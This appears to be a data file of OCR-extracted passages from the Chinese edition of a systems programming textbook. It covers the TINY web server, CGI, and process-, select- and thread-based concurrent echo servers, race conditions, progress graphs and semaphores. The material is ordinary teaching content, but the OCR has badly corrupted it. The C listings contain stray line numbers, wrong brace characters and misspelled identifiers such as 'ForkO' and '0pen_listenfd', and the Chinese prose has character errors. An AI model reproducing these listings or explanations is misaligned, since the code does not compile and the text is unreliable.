    {"text": "在第16行, Unix mmap函数将被请求文件映射到一个虚拟存储器空间。 回想我们在第9.8节中对mmap的 讨论，调用mmap将文件srcfd的前filesize个字节映射到一个从地址srcp开始的私有只读 虚拟存储器区域。"},
    {"text": "code/netp/tiny/tiny. c void serve_dynamic(int fd, char *filename, char *cgiargs) { chax buf[MAXLINE], *emptylist[] = { NULL >; 4 /* Return, first part of HTTP response */ sprintf(buf, \"HTTP/1.0 200 0K\\r\\n\"); Rio_writen(fd, buf, strlen(buf)); sprintf(buf, \"Server: Tiny Web Server\\r\\n\"); Rio_writen(fd, buf, strlen(buf)); i o if (ForkO == 0) i /* child */ /* Real server would set all CGI vars here */ i ：i setenv (\" QUERY_STRING\" , cgiargs, 1); ]4 Dup2(fd, STDDUT_FILEN0); /* Redirect stdout to client */ Execve(filename, emptylist, environ); /氺 Run CGI program */ > Wait(NULL); /氺 Parent waits for and reaps child 氺/ > ：；"},
    {"text": "~ code/netp/tiny/tiny. c 图 11-34 TINY serve_dynamic ：为客户端提供动态内容 在发送了响应的第一部分后 ， 会派生一个新的子进程（第11行)。"},
    {"text": "构造一个长时间运行而不崩溃的健壮的 Web 服务器是一个困难 的任务 ， 比起在这里我们已经学习了的内容 ， 它要求对 Unix 系统编程有更加深入的理解。"},
    {"text": "例如，\n如果一个服务器写一个已经被客户端关闭了的连接（比如，因为你在浏览器上单击了 “Stop” 按钮），那么第一次这样的写会正常返回，但是第二次写就会引起发送 SIGPIPE 信号，这个信 号的默认行为就是终止这个进程。"},
    {"text": "从一个程序员的观点来看，我们可以把因 特网看成是一个全球范围的主机集合，具有以下几个属性：1)每个因特网主机都有一个唯一的 32位名字，称为它的IP地址。"},
    {"text": "客户端和服务器通过使用套接字接口建立连接。 一个 套接字是连接 的一个 端点，连接是以文 件描述符的形式提供给应用程序的。 套接字接口提供了打开和关闭套接字描述符的函数。 客户端 和服务器通过读写这些描述符来实现彼此间的通信。 Web服务器使用HTTP协议和它们的客户端（例如浏览器）彼此通信。 浏览器向服务器请 求静态或者动态的内容。 对静态内容的请求是通过从服务器磁盘取得文件并把它返回给客户端 来服务的。 对动态内容的请求是通过在服务器上一个子进程的上下文中运行一个程序并将它的 输出返回给客户端来服务的。"},
    {"text": "CGI标准提供了一组规则，来管理客户端如何将程序参数传递给 服务器 ， 服务器如何将这些参数以及其他信息传递给子进程，以及子进程如何将它的输出发送 回客户端。"},
    {"text": "参考文献说明 有关因特网的官方信息源被保存在一系列的可免费获取的带编号的文档中，这个文档称为 RFC (Requests For Comments,请求注解，Internet标准（草案)）。 在以下网站可获得可搜索的 RFC的索引 http://rfc-editor . org RFC通常是为因特网基础设施的开发者编写的，因此，对于普通读者来说，往往过于详细 了。"},
    {"text": "伟大的技术作家W.Ri C hard Stevens编写了一系列相关的经典文献，如高级Unix编程[110]、因特网协议[105, 106, 107], 以及Unix网络编程[108, 109]。"},
    {"text": "** 11.9修改TINY,使得当它服务静态内容时，使用malloc、rio_readn和rio_writen,而不是 mmap和rio_writen,来拷贝被请求文件到巳连接描述符。"},
    {"text": "练习题答案 练习题 11.1 十六进制地址 点分十进制地址 0x0 0.0.0.0 Oxffffffff 255.255.255.255 0x7f000001 127.0.0.1 0xcdbca079 205.188.160.121 0x400c950d 64.12.149.13 0xcdbc9217 205.188.146.23 练习题 11.2 code/netp/hex2dd.c 1 2 3 A 5 6 7 9 10 11 12 #include \"csapp.h\" int main(int argc, char **argv) struct in_addr inaddr; /* addr in network byte order */ unsigned int addr; /* addr in host byte order */ if (argc != 2) { fprintf(stderr, \"usage: %s <hex number>\\n\", argv[0]); exit(0); } sscanfCargv[l], \"%x\", &addr); inaddr.s_addr = htonl(addr); printf(\"%s\\n M , inet_ntoa(inaddr)); , exit(O); code/netp/hex2dd. c 练习题11.3 code/netp/dd2hex. c #include \"csapp.h\" int main(int argc, char **argv) struct in_addr inaddr; /* addr in network byte order */ unsigned int addr; /* addr * in host byte order */ if (argc != 2) { fprintf(stderr, \"usage: %s <dotted-decimal>\\n\", argv[0]); exit(0); > if (inet_aton(argv[l], &inaddr) == 0) app^error(\"inet_aton error\"); addr : ntohl(inaddr.s_addr); printf(\"0x%x\\n\", addr); exit(0); code/netp/dd2hex. c 练习题11_4每次我们请求google.com的主机条目时，相应的因特网地址列表以一种不同的、轮转（round- robin)的顺序返回。"},
    {"text": "unix> ./hostinfo google.com official hostname: google. com address: 74.125.127.100 address: 74.125.45.100 address: 74.125.67.100 unix> ./hostinfo google.com official hostname: google. com address: 74.125.67.100 address: 74.125.127.100 address: 74.125.45.100 皿ix> ./hostinfo google.com official hostname: google. com address: 74.125.45.100 address: 74.125.67.100 address: 74.125.127.100 在不同的DNS查询中，返回地址的不同顺序称为DNS轮转（DNS round-robin)。"},
    {"text": "| 第 12 章 | Computer Systems ： A Programmer' s Perspective, 2E 并发编程 正如我们在第8章学到的，如果逻辑控制流在时间上重叠，那么它们就是 并发的 （concmrent)。"},
    {"text": "比如，一个动态存储分配器可以通过推迟合并，把它放到 一个运行在较低优先级上的并发“合并”流中，在有空闲的CPU周期时充分利用这些空闲 周期，从而降低单个free操作的延迟。"},
    {"text": "因此，一个慢速的客户端可能会导致服务器拒绝为所有其 他客户端服务。 对于一个真正的服务器来说，可能期望它每秒为成百上千的客户端提供服 务，由于一个慢速客户端导致拒绝为其他客户端服务，这是不能接受的。"},
    {"text": "12.1 基于进程的并发编程 客户端1 •、、、、、、、连接请求 clientfd 、、、、- l ^tenfd(3 ) 1服务器 connfd(4) 客户端2， clientfd 图 12-1 第一步：服务器接受客户 端的连接请求 构造并发程序最简单的方法就是用进程，使用那些大家都很熟悉的函数，像fork、exec 和waitpid。 例如，一个构造并发服务器的自然方法就是， 在父进程中接受客户端连接请求，然后创建一个新的子进程 来为每个新客户端提供服务。"},
    {"text": "现在，假设在父进程为客户端1创建了子进程之后，它接受一个新的客户端2的连接请求, 并返回一个新的已连接描述符（比如描述符5)，如图12-3所示。 然后，父进程又派生另一个子 进程，这个子进程用已连接描述符5为它的客户端提供服务，如图12-4所示。 此时，父进程正 在等待下一个连接请求，而两个子进程正在并发地为它们各自的客户端提供服务。 图 12-2 第二步：服务器派生一个 图 12-3 第三步：服务器接受另一 子进程为这个客户端服务 个连接请求 12.1.1基于进程的并发服务器 图12-5展示了一个基于进程的并发echo服务器的代码。"},
    {"text": "关于这个服务器，有几点重要内容需要说明： •首先，通常服务器会运行很长的时间，所以我们必须要包括一个SIGCHLD处理程 序，来回收僵死（zombie)子进程的资源（第4〜9 行）。 因为当SIGCHLD处理程序执行时，SIGCHLD 信号是阻塞的，而Unix信号是不排队的，所以 SIGCHLD处理程序必须准备好回收多个僵死子进程 的资源。"},
    {"text": "图12-4第四步：服务器派生另一个 子进程为新的客户端服务 code/conc/echoserverp. c #include \"csapp.h\" void echo(int connfd); void sigchld^handler(int sig) { while (waitpid(-l, 0, WNOHANG) > 0) return; 12 13 '14 15 !6 1? 18 19 21 .?2 23 24 25 27 23 29 ：i0 n ]i2 n int main(int argc, char 16 argv) int listenfd, connfd, port; socklen_t clientlen=sizeof(struct sockaddr_in); struct sockaddr_in clientaddr; if (argc != 2) •{ fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); exit(0); } port = atoi(argv[l]); Signal(SIGCHLD, sigchld_handler); listenfd = 0pen_listenfd(port); while (1) { connfd = Accept(listenfd, (SA 17 ) feclientaddr, feclientlen); if (ForkO == 0) { Close(listenfd); h Chi id closes its listening socket */ echo (connfd) ; / :fe Child services client */ Close(connfd); /* Child closes connection with client */ exit(0); 卜 Child exits */ > Close (connfd) ; / 本 Parent, closes connected socket (important!) */ > 12.1.2 关于进程的优劣 对于在父、子进程间共享状态信息，进程有一个非常清晰的模型：共享文件表，但是不共享 用户地址空间。"},
    {"text": "基本的思路就是 使用select函数，要求内核挂起进程，只有在一个或多个I/O事件发生后，才将控制返回给应 用程序，就像在下面的示例中一样： •当集合{0, 4}中任意描述符准备好读时返回。"},
    {"text": "#include <nnistd.li> #include <sys/types.h> int select(int n, fd_set *fdset, NULL, NULL, NULL); 返回已准备好的描述符的非零的个数，若出错则为一 1 。 FD_ZERO(fd_set *fdset); Clear all bits in fdset */ FD_CLR(int fd, fd_set *fdset); /* Clear bit fd in fdset */ FD_SET(int fd, fd_set *fdset); /* Turn on bit fd in fdset */ FD_ISSET(int fd, fd_set *fdset) ; /* Is bit. fd in fdset on? */ 处理描述符集合的宏。 select函数处理类型为fd—set的集合，也叫做描述符集合。"},
    {"text": "逻辑上，我们将描述符集合 看成一个大小为 n 的位向量（在节中介绍过的）： b n -i， …， b” Z>o 每个位\\对应于描述符h当且仅当~=1，描述符A才表明是描述符集合的一个元素。"},
    {"text": "只 允许你对描述符集合做三件事：1)分配它们，2)将一个此种类型的变量赋值给另一个变量， 3)用FD一ZERO、FD一SET、FD一CLR和FDJSSET宏指令来修改和检査它们。"},
    {"text": "针对_们的目的，select ^数有两个^入：一个称为读集合的描述符集合（fdset)和该 读集合的基数（n)(实际上是任何描述符集合的最大基数)。"},
    {"text": "作为一个副作用，select修改了参数fdset指向的 fd一set,指明读集合中一个称为准备好集合（ready set)的子集，这个集合是由读集合中准备 好奇以读了的描述符组成的。"},
    {"text": "code/conc/select. c #include \"csapp.h\" void echo(int connfd); void command(void); A int mainCint argc, char **argv) { int listenfd, connfd, port; B socklen_t clientlen = sizeof(struct sockaddr_in); struct sockaddr_in clientaddr; io fd_set read_set, ready_set; n if (argc != 2) { fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); exit(0); > port = atoi(argv[1]); listenfd = Open_listenfd(port); 18 FD_ZERO(&read_set); 卜 Clear read set */ FD_SET(STDIN_FILEN0, &read_set); /* Add stdin to read set */ FD_SET(listenfd, &read_set); /* Add listenfd to read set */ 22 while (1) { ready_set = read_set; Select(listenfd+1, &ready_set, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &ready_set)) commandO; /* Read command line from stdin */ if (FD_ISSET(listenfd, &ready_set)) { connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen); echo(connfd); /* Echo client input until EOF */ Close(connfd); > > > 35 void command(void) { char buf[MAXLINE]; if (!Fgets(buf, MAXLINE, stdin)) exit(0); /* EOF */ printf(\"%s\", buf); /* Process the input command */ -- -- codc/coftc/sclccLc 图12-6使用I/O多路复用的echo服务器。"},
    {"text": "一开始，我们用图11-7中的open一 listenfd函数打开一个监听描述符（第17行)，然后使用FD 一 ZERO创建一个空的读集合 19 行）： listenfd stdin 3 2 1 0 read 一 set ( 0 ): 0 0 0 0 接下来，在第20和21行中，我们定义由描述符0 (标准输入）和描述符3 (监听描述符） 组成的读集合：\nlistenfd 3 2 stdin 1 0\n0 0 read_set ({ 0 ，3}):\n在这里，我们开始典型的服务器循环。"},
    {"text": "但是我们不是调用accept函数来等待一个连接请 求，而是调用select函数，这个函数会一直阻塞，直到监听描述符或者标准输入准备好可以 读（第25行)。"},
    {"text": "例如，下面是当用户按回车键,因此使得标准输入描述符变为可读时，select 会返回的ready一set的值： listenfd stdin 3 2 1 0 ready_set ({ 0 }): 0 0 0 1 一旦select返回，我们就用FD_ISSET宏指令来判断哪个描述符准备好可以读了。"},
    {"text": ".如果是监听描述符准备好了（第28行)，我们就调用accept来得到一 个已连接描述符，然后调用图 12-21 中的echo函数，它会将来自客户端的每一行又回送回去， 直到客户端关闭这个连接中它的那一端。"},
    {"text": "12.2.1基于I/O多路复用的并发事件驱动服务器 I/O多路复用可以用做并发事 件驱动 （event-driven)程序的基础，在事件驱动程序中，流是 因为某种事件而前进的。"},
    {"text": "不严格地说，一个 状态机 （state machine)就是一 组状态 （state)、 输入事件 （input event) 和转移 （transition),其中转移就是将 状态和输入事件映射到状态。"},
    {"text": "对于每个新的客户端 k， 基于I/O多路复用的并发服务器会创建一个新的状态机 s k ，并将它和 图 12-7 并发事件驱动echo服务器中逻辑流的状态机 已连接描述符达联系起来。"},
    {"text": "如图12-7所示，每个状态机办都有一个状态（“等待描述符忒准备好可 读”)、一个输入事件（“描述符忒准备好可以读了 ”）和一移（“从描述符必读一个文本行”)。"},
    {"text": "在循环的每次迭代中，服务器^用select函数来 检测两种不同类型的输入事件：a)来自一个新客户端的连接请求到达，b) —个已存在的客户 端的已连接描述符准备好可以读了。"},
    {"text": "code/conc/echoservers. c #include \"csapp.h\" 2 typedef struct { /* Represents a pool of connected descriptors */ int maxfd; /* Largest descriptor in read_set */ fd_set read_set; /本 Set; of all active descriptors */ fd_set ready_set ; /* Subset of descriptors ready for reading */ int nready; /* Number of ready descriptors from select */ S int maxi; /* Highwater index into client axray */ int clientfd[FD_SETSIZE]; /* Set of active descriptors */ rio_t clientrio[FD_SETSIZE]; /* Set of active read buffers */ > pool; 12 int byte 細 cnt = 0; /* Counts total bytes received by server +/ 14 int main(int argc, char **argv) -C int listenfd, connfd, port; socklen_t clientlen = sizeof(struct sockaddr_in); struct sockaddr_in clientaddr; static pool pool; 21 if (argc != 2) { fprintf(stderr, \"usage: %s <port>\\n H , argv[0]); exit(0); > port = atoi(argv[1]); 27 listenfd = 0pen_listenfd(port); init_pool(listenfd, ftpool) ; 图 12-8 基于 I/O 多路复用的并发 echo 服务器。 每次服务器迭代都回送来自每个准备好的描述符的文本行 while (1) { 3'i /* Wait for listening/connected descriptor(s) to become ready ’■/ pool.ready_set = pool.read_set; pool.nready = Select(pool.maxfd+1, fepool.ready.set, NULL, NULL, NULL); '34 /木 If liste-niiag descriptor ready, add new client to pool */ if (FD_ISSET(listenfd, &pool .ready_set)) { connfd = Accept(listenfd, (SA *)&clientaddr, feclientlen); add_client (connfd, fepool) ; > 40 /■> Echo a toxt line from each ready connected descriptor */ check_clients(&pool); > code/conc/echoservers. c 图 12-8 ( 续） init__pool函数（见图12-9)初始化客户端池。"},
    {"text": "; code/conc/echoservers. c ! void init_pool(int listenfd, pool *p) 2 { h Initially, there are no connected descriptors */ int i; p->maxi ~ -1; for (i=0; i< FD.SETSIZE; i++) p- 〉 clientfd[i] = -1; 3 9 /* Initially , listenfd is only member of select: read set. 伞 / p->maxfd = listenfd; FD_ZER0(&p->read_set); FD_SET(listenfd, &p->read_set); > code/conc/echoservers. c 图 12-9 initj)ool ：初始化活动客户端池 add 一 clieht函数（见图12-10)添加一个新的客户端到活动客户端池中。"},
    {"text": "在clientfd 数组中找到一个空槽位后，服务器将这个已连接描述符添加到数组中 ， 并初始化相应的RIO读 缓冲区，这样一来我们就能够对这个描述符调用rio—readlineb (第8〜9行)。"},
    {"text": "maxfd 变量（第15〜16行）记录了 select的最大文件描述符。 maxi变量（第17〜18行）记录的 是到clientfd数组的最大索弓丨，这样check_clients函数就无需搜索整个数组了。"},
    {"text": "如果因为客户端关 闭这个连接中它的那一端，检测到EOF,那么我们将关闭这边的连接端（第23行)，并从池中 清除掉这个描述符（第24〜25行)。"},
    {"text": "code/conc/echoservers. c\nvoid add_client(int connfd, pool *p) { int i; p->nready__; for (i = 0; i < FD_SETSIZE; i++) /* Find an available slot 6 7 9 10 11 12 13 if (p->clientfd[i] < 0) { /* Add connected descriptor to the pool */ p->clientfd[i] = connfd; Rio_readinitb(&p->clientrio[i], connfd); /* Add the descriptor to descriptor set */ FD_SET(connfd, &p->read_set); and pool highwater mark */ h' Update max descriptor if (connfd > p->maxfd) p->maxfd = connfd; if (i > p->maxi) p_>maxi = i; break; if (i -= FD 一 SETSIZE) /* Cou'ldn 1 1 find an empty slot +./ app_error( 11 add_client error: Too many clients\") ;\ncode/conc/echoservers. c\n图12-10 add client ：向池中添加一个新的客户端连接\ncode/conc/echoservers. c\nvoid check_clients(pool *p) If the descriptor is ready, echo a text line from it */ ((connfd > 0) && (FD.ISSET(connfd, &p->ready_set))) { p->nready--; if ((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) { byte一cut += n; printf(\"Server received %d (%d total) bytes on fd %d\\n M , n, byte_cnt, connfd); Rio_writen(connfd, buf, n); } /* EOF detected, remove descriptor from pool */ else { int i, connfd, n; char buf[MAXLINE]; rio_t rio; for (i = 0; (i <= p->maxi) && (p->nready > 0); i++) { connfd = p->clientfd[i]; rio = p->clientrio[i]; Close(connfd); FD_CLR(connfd, p->clientfd[i] 图12-11 check_clients :为准备好的客户端连接服务 ■ code/conc/echoservers. c 6 7 9 10 il A if 14 15 16 17 18 19 21 22 23 24 25 26 27 29 &p->read_set); =-1;\n根据图12-7中的有限状态模型，select函数检测到输入事件，而add一client函数创建 一个新的逻辑流（状态机)。"},
    {"text": "这里的粒 度是指每个逻辑流每个时间片执行的指令数量。 例如，在我们的示例并发服务器中，并发粒度就 是读一个完整的文本行所需要的指令数量。"},
    {"text": "对我们的例子而言这就很好了，但是它使得我们的事件驱动服务器在“故意只发 送部分文本行然后就停止”的恶意客户端的攻击面前显得很脆弱。"},
    {"text": "每个线程都有它自己的线程上下文（thread context),包括一个唯一的整数线程ID (Thread ID, TID)、栈、栈指针、程序计数器、通用目的寄存器和条件码。"},
    {"text": "同基于I/O多路复用的流一样，多个线程 运行在单一进程的上下文中，因此共享这个进程虚拟地址空间的整个内容，包括它的代码、数 据、堆、共享库和打开的文件。"},
    {"text": "每个进程开始生命周期时都是单一线程，这个线程称为主线程（main thread)。 在某一时刻，主 线程创建 一个对等线程 （peer thread)，从这个时间点开始，两个线程就并发地运行。"},
    {"text": "最后，因 为主线程执行一个慢速系统调用，例如read或sleep,或者因为它被系统的间隔计时器中断， 控制就会通过上下文切换传递到对等线程。 对等线程会执行一段时间，然后控制传递回主线程， 依次类推。 线程1 (主线程 4 ,) 线程2 (对等线程） 令 i ^■…一 \\ 1 }线程上下文切换 }线程上下文切换 }线程上下文切换 图 12-12 并发线程执行 在一些重要的方面，线程执行是不同于时间 进程的。"},
    {"text": "主线程创建一个对等线程，然后等待它的终止。 对等线程输出“Hello, world! \\n”并且终止。 当主线程检测到对等线程终止后，它就通过调 用exit终止该进程。"},
    {"text": "code/conc/hello. c #include \"csapp.h\" void *thread(void *vargp); int mainO pthread_t tid; Pthread_create(&tid, NULL, thread, NULL); Pthread_j oin(tid, NULL); exit(0); void *thread(void *vaxgp) /* Thread routine 氺/ printf(\"Hello, world!\\n\"); return NULL; code/conc/hello. c 图 12-13 hello.c ： Pthreads“Hello, world!” 程序 这是我们看到的第一个线程化的程序，所以让我们仔细地解析它。"},
    {"text": "如果想传递多个参数给线程例程，那么你应该将参数放 到一个结构中，并传递一个指向该结构的指针。 相似地,如果你想要线程例程返回多个参数，你 可以返回一个指向一个结构的指针。"},
    {"text": "主线程声明了一个本地变量tid,它可以用来存放对等线 程的线程ID (第 6 行)。 主线程通过调用pthread—create函数创建一个新的对等线程（第7 行)。 当对pthread_create的调用返回时，主线^和新创建的对等线程同时运行，并且tid 包含新线程的ID。 通过调用pthread_join,主线程等待对等线程终止（第 8 行)。 最后，主线 程调用exit (第9行)，终止当时运行^这个进程中的所有线程（在这个示例中就只有主线程)。"},
    {"text": "#include <pthread.h> typedef void *(func)(void *); int pthread_create(pthread_t *tid, pthread_attr_t *attr, func *f, void *axg); 返回：若成功则返回 0, 若出错则为非零。"},
    {"text": "能用attr参数来改变新创建线程的默认属性。 改变这些属性已超出我们 学习的范围，并且在我们的示例中，我们总是用一个为NULL的attr参数来调用 P thread_ create 函数。"},
    {"text": "当pthread_ C reate返回时，参数tid包含新创建线程的ID。 新线程可以通过调用 pthread_self函数来获得它自己的线程ID。 #include <pthread.h> pthread_t pthread 一 self(void); 返回 : 返回调用者的线程 ID 。"},
    {"text": "•通过调用pthread一exit函数，线程会 显式地 终止。 如果主线程调用pthread一exit, 它会等待所有其他对等线程终止，然后再终止主线程和整个进程，返回值为thread— return 0 #include <pthread.h> void pthread_exit(void *thread_return); 返回：若成功则返回 0, 若出错则为非零。 •某个对等线程调用Unix的exit函数，该函数终止进程以及所有与该进程相关的线程。 •另一个对等线程通过以当前线程ID作为参数调用pthread一cancle函数来终止当前线程。"},
    {"text": "12.3.5 回收已终止线程的资源 线程通过调用pthread一join函数等待其他线程终止。 #include <pthread.h> int pthread^join(pthread.t tid, void **thread_return); 返回： 若成功则返回 0 , 若出错则为非零。 pthread—join函数会阻塞，直到线程tid终止，将线程例程返回的（void*)指针赋值 为thread一return指向的位置，然后 回收已 终止线程占用的所有存储器资源。 注意，和Unix的wait函数不同，pthread—join函数只能等待一个指定的线程终止。"},
    {"text": "为了避免存储器泄漏，每个可结合线程都应该要么被 其他线程显式地收回，要么通过调用pthread一detach函数被分离。 pthread一detach函数分离可结合线程tid。 线程能够通过以pthread一self ()为参数 的pthread一detach调用来分离它们自己。"},
    {"text": "#include <pthread.h> pthread_once_t once 一 control = PTHREAD_0NCE_INIT; int pthread.once(pthread_once_t *once_control, • void (*init_routine)(void)); 总是返回 0 。 once_control变量是一个全局或者静态变量，总是被初始化为PTHREAD_ONCE_INIT。 当你第一次用参数once_control调用pthread_once时，它调用init_routine,这是 一个没有输入参数，也不返回什么的函数。"},
    {"text": "最明显的方法就是传递一个指向这个描述# 的指针 ， 就像下面这样 connfd = Accept(listenfd, (SA *) feclientaddr, feclientlen); Pthread 一 create(&tid, NULL, thread, feconnfd); 然后，我们让对等线程间接引用这个指针 ， 并将它赋值给一个局部变量 ， 如下所示 ： void *thread(void *vargp) { int connfd = *((int *)vargp); > 然而，这样可能会出错，因为它在对等线程的赋值语句和主线程的accept语句间引入了 竞争（race)。 如果赋值语句在下一个accept之前完成，那么对等线程中的局部变量connfd 就得到正确的描述符值。 然而，如果赋值语句是在accept之后才完成的 ， 那么对等线程中的 局部变量cormfd就得到下一次连接的描述符值。"},
    {"text": "code/conc/echoservert. c #include \"csapp.h\" 2 void echo(int connfd); void 氺 thread(void *vargp) ; 5 int main(int argc, char **argv) 0 { int listenfd, *connfdp, port; socklen_t clientlen=sizeof(struct sockaddr_in) ; struct sockaddr_in clientaddr; pthreadst tid; 12 if (argc != 2) { fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); '15 exit(0); > port = atoi(argv[1] ); 18 图12-14基于线程的并发echo服务器 listenfd = 0pen_listenfd(port); while (1) { 19 21 22 23 24 25 26 27 28 29 30 31 32 connfdp = Malloc(sizeof(int)); ♦connfdp = Accept(listenfd, (SA *) feclientaddr, &clientlen); Pthread^create(&tid, NULL, thread, connfdp); > /* Thread, routine 本/ void *thread(void *vargp) int connfd = *((int *)vargp); Pthread_detach(pthread^self0); Free(vargp); echo(connfd); Close(connfd); return NULL; . code/conc/echoservert. c 图 12-14 (续） 另一个问题是在线程例程中避免存储器泄漏。"},
    {"text": "_练习题12.5在图12-5中基于进裎的服务器中，我们在两个位置小心地关闭了巳连接描述符：父进 程和子进程。 然而，在图12-14中基于线程的服务器中，我们只在一个位’置关闭了巳连接描述符：对 等线程。"},
    {"text": "code/conc/sharing. c #include \"csapp.h\" #define N 2 void *thread(void *vargp); 4 char **ptr ; /* Global variable */ 6 int mainO 图 12-15 说明共享不同方面的示例程序 int i; pthread^t tid; char *msgs[N] = { \"Hello from foo\", \"Hello from bar\" ptr = msgs; for (i = 0; i < N; i++) Pthread_create(fetid, NULL, thread, (void *)i); Pthread 一 exit(NULL); void *thread(void 氺vargp) 25 26 int myid = (int)vargp; static int cnt = 0; printf(\"[%d]: %s (cnt=%d)\\n\" , myid, ptr[myid] , ++cnt); return NULL; 28 } code/conc/sharing. c 图 12-15 (续） 12.4.1线程存储器模型 一组并发线程运行在一个进程的上下文中。"},
    {"text": "和全局变量一 样，虚拟存储器的读/写区域只包含在程序中声明的每个本地静态变量的一个实例。 例如， 即使示例程序中的每个对等线程都在第25行声明了 cnt，在运行时，虚拟存储器的读/写 区域中也只有一个cnt的实例。"},
    {"text": "共享变量 我们说一个变量v是共享的，当且仅当它的一个实例被一个以上的线程引用。 例如，示例程 序中的变量cnt就是共享的，因为它只有一个运行时实例，并且这个实例被两个对等线程引用。"},
    {"text": "在第一列中，符号v.r表示变量v的一个实例，它驻留在线程/的本地栈中，其中^要么是m (主线程)，要么是P 0 (对等线程 0 )或者pi (对等线程 1 )。"},
    {"text": "code/conc/badcnt. c #include \"csapp.h\" 2 void *thread(void *vargp); /* Thread routine prototype */ 4 /* Global shared variable */ volatile int cnt = 0; /* Counter */ 7 int main(int argc, char **argv) { int niters; pthread_t tidl, tid2; 12 /* Check input argument */ if (argc != 2) {\nprintf(\"usage: %s <niters>\\n\"，argv[0]); exit(0); 15 16 17 18 19 21 22 25 26 27 29 } niters = atoi(argv [1]); /* Create threads and wait for them to finish */ Pthread_create(&tidl, NULL, thread, feniters); Pthread.create(&tid2, NULL, thread, feniters); Pthread_join(tidl， NULL); Pthread一join(tid2, NULL); /* Check result */ if (cnt != (2 * niters)) printf(\"BOOM! cnt=%d\\n\", cnt); else printf(\"OK cnt=%d\\n\", cnt); exit(0);\n33 34 35 36 37 38 39 40 41 42 43 /* Thread routine */ void *thread(void *vargp) int i, niters = *((int *)vargp); for (i = 0; i < niters; i++) cnt++; return NULL; } code/conc/badcnt. c 图 12-16 (续） linux> ,/badcnt 1000000 BOOM! cnt=1445085 linux> ./badcut 1000000 BOOM! cnt=1915220 linux> ./badcnt 1000000 BOOM! cnt=1404746 那么哪里出错了呢？"},
    {"text": ": Tail movl (°/,rdi) ,°/ 0 ecx movl $0,%edx cmpl °/,ecx, %edx jge .L13 .Lll: movl cnt (°/,rip) , °/«eax incl %eax movl °/ 0 eax, cnt (%rip) incl */:edx cmpl %ecx,%edx jl .Lll\n,L13: 图 12-17 badcmt.c 中计数器循环（第 39 〜 40 行）的汇编代码 这里有个关键点： 一般而言，你没有办法预测操作系统是否将为你的线程选择一个正确的顺 序。"},
    {"text": "步骤线程指令 ％ eaxi 7 8 eax 2 cnt 步骤线程指令 ％ eaxi %eax 2 cnt\n^1^1^1^2^2¾^½¾¾ ^1^1^151^2^2^25272^1\na) 正确的顺序 b) 不正确的顺序 图 12-18 badcnt.c 中第一次循环迭代的指令顺序 fi练习题12.7根据badcnt.c的指令顺序完成下表： 步骤 线程 指令 Xeaxj %eax 2 cnt 1 1 Hi — — 0 2 1 Li 3 2 \"2 4 2 L 2 5 2 \"2 6 2 h 7 1 Ui 8 1 Si 9 1 Tx 10 2 T 2 这种顺序会产生一个正确的cnt值吗？"},
    {"text": "!维笛卡儿空间中的轨迹 线程 2 T 2 S 2 U 2 L 2 H 2 线程 1 H' 图 12-19 Li badcnt U, S, T, 第一次循环迭代的进度图 线程 2 T 2 S 2 U 2 L 2 H 2 线程 1 Hi L, U, S, T, 图 12-20 —个轨迹线示例 12.5.1进度图 进度图 （progress graph) 将 《 个并发线程的执行模型化为一条 线。"},
    {"text": "图12-20展示了下面指令顺序对 应的轨迹线： H\\ f Li j U | > H 2 ，L 2 9 7\\, U 2 ，S 2 ，T 2 对于线程/,操作共享变量cnt内容的指令 CL,, U n S) 构成了一个（关于共享变量cnt的） 临界区 （critical section), 这个临界区不应该和其 他进程的临界区交替执行。"},
    {"text": "换句话说，我们想要 确保每个线程在执行它的临界区中的指令时，拥 有对共 享变量的互斥的访问 （mutually exclusive access ) 0 通常这种现象称 为互斥 （mutual exclusion )。"},
    {"text": "注意，不安全区和 与它交界的状态相毗邻，但并不包括这些状态。 例如，状态和（\\, U 2 ) 毗邻不安全区， 但是它们并不是不安全区的一部分。"},
    {"text": "为了保证线程化程序示例的正确执行（实际上 任何共享全局数据结构的并发程序的正确执行）我们必须以某种方 式同步 线程，使它们总是有一 条安全轨迹线。"},
    {"text": "L], \" 1 ， Si ， \" 2 ，乙 2 ’ \" 2 ，$ 2 ，^ 2 » 打2，[2， Hi, Ll, Si, 7\\，\"2，$2， Hi, H 2 ， 【 2 ，\"2， $2，Li, Ui, Si, T\\, To\n12.5.2信号量 线程2 写cnt的 临界区 写cnt的临界区 图12-21安全和不安全轨迹线。"},
    {"text": "绕开不安全区的轨迹线能够 正确更新计数器变量 EdsgerDijkstra,并发编程领域的先锋人物，提出了一种经典的解决同步不同执行线程问题 的方法，这种方法是基于一种叫做信 号量（semaphore)的特殊类型变量 的。"},
    {"text": "信号量s是具有非负整数值的全 局变量，只能由两种特殊的操作来处 理，这两种操作称为/^和厂： •PCs):如果s是非零的，那么P 将s减1,并且立即返回。"},
    {"text": "P中的测试和减1操作是不可分割的，也就是说，一旦预测信号量s变为非零，就会将J减 不能有中断。 F中的加1操作也是不可分割的，也就是加载、加1和存储信号量的过程中没 有中断。"},
    {"text": "#include 〈semaphore.h> int sem_init(sem_t ♦sem, 0, unsigned int value); int sem_wait(sem_t *s); /* PCs) */ int sem_post(sem^t *s); /* V(s) */ 返回：若成功则为 0, 若出镨则为一 1 。"},
    {"text": "为了简明，我们更喜欢使用下面这些等价的P和F的包装函数： #include \"csapp.h\" 1 void P(sem_t *s); /氺 Wrapper function for sem_wait */ void V(sem_t *s) ; /* Wrapper function for sem_post */ 返回：无。"},
    {"text": "基本思想是将每个共享变量 (或者一组相关的共享变量）与一个信号量S (初始为1)联系起来，然后用PO)和K(s)操作将 相应的临界区包围起来。"},
    {"text": "因为信号量的不变性，没有实际可行的轨迹线能够包 含禁止区中的状态。 而且，因为禁止区完全包括了不安全区，所以没有实际可行的轨迹线能够接 触不安全区的任何部分。"},
    {"text": "s<0的不可行状态定义了一个禁止区，禁止区完全包括了不安全 区，阻止了实际可行的轨迹线接触到不安全区 从可操作的意义上来说，由P和F操作创建的禁止区使得在任何时间点上，在被包围的临 界区中，不可能有多个线程在执行指令。"},
